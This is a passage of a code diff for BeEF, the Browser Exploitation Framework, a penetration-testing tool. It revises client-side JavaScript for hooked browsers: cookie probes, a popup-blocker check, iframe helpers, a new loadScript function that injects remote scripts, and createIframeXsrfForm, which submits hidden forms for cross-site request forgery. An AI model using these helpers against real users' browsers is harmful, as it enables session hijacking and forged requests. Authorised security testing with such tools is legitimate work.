+                + pad(currentdate.getMonth()+1)  + "-"
+                + pad(currentdate.getDate()) + " "
+                + pad(currentdate.getHours()) + ":"
+                + pad(currentdate.getMinutes()) + ":"
+                + pad(currentdate.getSeconds());
+                console.log('['+datetime+'] '+msg);
+            } else {
+                // TODO: maybe add a callback to BeEF server for debugging purposes
+                //window.alert(msg);
             }
         },
 
+        /**
+        * Adds a function to execute.
+        * @param: {Function} the function to execute.
+        */
+        execute: function(fn) {
+                if ( typeof  beef.websocket == "undefined"){
+                    this.commands.push(fn);
+                }else{
+                    fn();
+                }
+        },
 
+       /**
+        * Registers a component in BeEF JS.
+        * @params: {String} the component.
+        *
+        * Components are very important to register so the framework does not
+        * send them back over and over again.
+        */
+        regCmp: function(component) {
+                this.components.push(component);
+        }
 
-		/**
-		 * Registers a component in BeEF JS.
-		 * @params: {String} the component.
-		 *
-		 * Components are very important to register so the framework does not
-		 * send them back over and over again.
-		 */
-		regCmp: function(component) {
-			this.components.push(component);
-		}
-	
     };
-	
-	window.beef = BeefJS;
+
+    window.beef = BeefJS;
 }

core/main/client/browser/cookie.js

@@ -1,5 +1,5 @@
 //
-// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
@@ -71,12 +71,37 @@ beef.browser.cookie = {
 			( ( domain ) ? ";domain=" + domain : "" ) +
 			";expires=Thu, 01-Jan-1970 00:00:01 GMT";
 		},
+
+	    /* Never stop the madness dear C. */
+		veganLol: function (){
+			var to_hell= '';
+			var min = 17;
+			var max = 25;
+			var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
+
+			var grunt = function(){
+				var moo = Math.floor(Math.random() * 62);
+				var char = '';
+				if(moo < 36){
+					char = String.fromCharCode(moo + 55);
+				}else{
+					char = String.fromCharCode(moo + 61);
+				}
+				if(char != ';' && char != '='){
+					return char;
+				}else{
+					return 'x';
+				}
+			};
+
+			while(to_hell.length < lol_length){
+				to_hell += grunt();
+			}
+			return to_hell;
+		},
 		
-		hasSessionCookies: function (name)
-		{
-			var name = name || "cookie";
-			if (name == "") name = "cookie";
-			this.setCookie( name, 'none', '', '/', '', '' );
+		hasSessionCookies: function (name){
+			this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
 
 			cookiesEnabled = (this.getCookie(name) == null)? false:true;
 			this.deleteCookie(name, '/', '');
@@ -84,11 +109,8 @@ beef.browser.cookie = {
 			
 		},
 
-		hasPersistentCookies: function (name)
-		{
-			var name = name || "cookie";
-			if (name == "") name = "cookie";
-			this.setCookie( name, 'none', 1, '/', '', '' );
+		hasPersistentCookies: function (name){
+			this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
 
 			cookiesEnabled = (this.getCookie(name) == null)? false:true;
 			this.deleteCookie(name, '/', '');

core/main/client/browser/popup.js

@@ -1,5 +1,5 @@
 //
-// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
@@ -16,7 +16,7 @@ beef.browser.popup = {
 	
 		blocker_enabled: function ()
 		{
-			screenParams = beef.browser.getScreenSize();
+			screenParams = beef.hardware.getScreenSize();
 			var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
 			if (popUp == null || typeof(popUp)=='undefined') {   
 			  	return true;

core/main/client/dom.js

@@ -1,5 +1,5 @@
 //
-// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
@@ -102,23 +102,19 @@ beef.dom = {
 	},
 	
 	/**
-     * Create and iFrame element. In case it's create with POST method, the iFrame is automatically added to the DOM and submitted.
-     * example usage in the code: beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
+     * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
+     * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
+     * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
 	 * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
-	 * @param: {String} method: can be 'GET' or 'POST'. defaults to GET
 	 * @param: {Hash} params: list of params that will be sent in request.
 	 * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
 	 * @param: {Function} a callback function to fire once the iFrame has loaded
 	 * @return: {Object} the inserted iFrame
+     *
 	 */
-	createIframe: function(type, method, params, styles, onload) {
+	createIframe: function(type, params, styles, onload) {
 		var css = {};
-		var form_submit = (method.toLowerCase() == 'post') ? true : false; 
-		if (form_submit && params['src'])
-		{
-			var form_action = params['src'];
-			params['src'] = '';
-		}
+
 		if (type == 'hidden') {
 			css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
 		} else if (type == 'fullscreen') {
@@ -130,13 +126,6 @@ beef.dom = {
 		}
 		var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
 		
-		if (form_submit && form_action)
-		{
-			var id = beef.dom.generateID();
-			$j(iframe).attr({'id': id, 'name':id});
-			var form = beef.dom.createForm({'action':form_action, 'method':'get', 'target':id}, false);
-			$j(form).prependTo('body').submit();
-		}
 		return iframe;
 	},
 
@@ -151,7 +140,7 @@ beef.dom = {
             if ($j(this).attr('href') != '')
             {
                 e.preventDefault();
-                beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
+                beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
                 $j(document).attr('title', $j(this).html());
                 document.body.scroll = "no";
                 document.documentElement.style.overflow = 'hidden';
@@ -241,6 +230,13 @@ beef.dom = {
 		return form;
 	},
 	
+	loadScript: function(url) {
+	  var s = document.createElement('script');
+	  s.type = 'text/javascript';
+	  s.src = url;
+	  $j('body').append(s);
+	},
+
 	/**
 	 * Get the location of the current page.
 	 * @return: the location.
@@ -384,7 +380,8 @@ beef.dom = {
 
             if (codebase != null) {
                 content += "<param name='codebase' value='" + codebase + "' />"
-            }else{
+            }
+            if (archive != null){
                 content += "<param name='archive' value='" + archive + "' />";
             }
             if (params != null) {
@@ -445,22 +442,30 @@ beef.dom = {
      * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
      * @params: {String} action: the form action attribute, where the request will be sent.
      * @params: {String} method: HTTP method, usually POST.
+     * @params: {String} enctype: form encoding type
      * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
      *         example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
      */
-    createIframeXsrfForm: function(action, method, inputs){
+    createIframeXsrfForm: function(action, method, enctype, inputs){
         var iframeXsrf = beef.dom.createInvisibleIframe();
 
         var formXsrf = document.createElement('form');
-        formXsrf.setAttribute('action', action);
-        formXsrf.setAttribute('method', method);
+        formXsrf.setAttribute('action',  action);
+        formXsrf.setAttribute('method',  method);
+        formXsrf.setAttribute('enctype', enctype);
 
         var input = null;
         for (i in inputs){
             var attributes = inputs[i];
             input = document.createElement('input');
                 for(key in attributes){
-                    input.setAttribute(key, attributes[key]);
+                    if (key == 'name' && attributes[key] == 'submit') {
+                      // workaround for https://github.com/beefproject/beef/issues/1117
+                      beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
+                      input.setAttribute('Submit', attributes[key]);
+                    } else {
+                      input.setAttribute(key, attributes[key]);
+                    }
                 }
             formXsrf.appendChild(input);
         }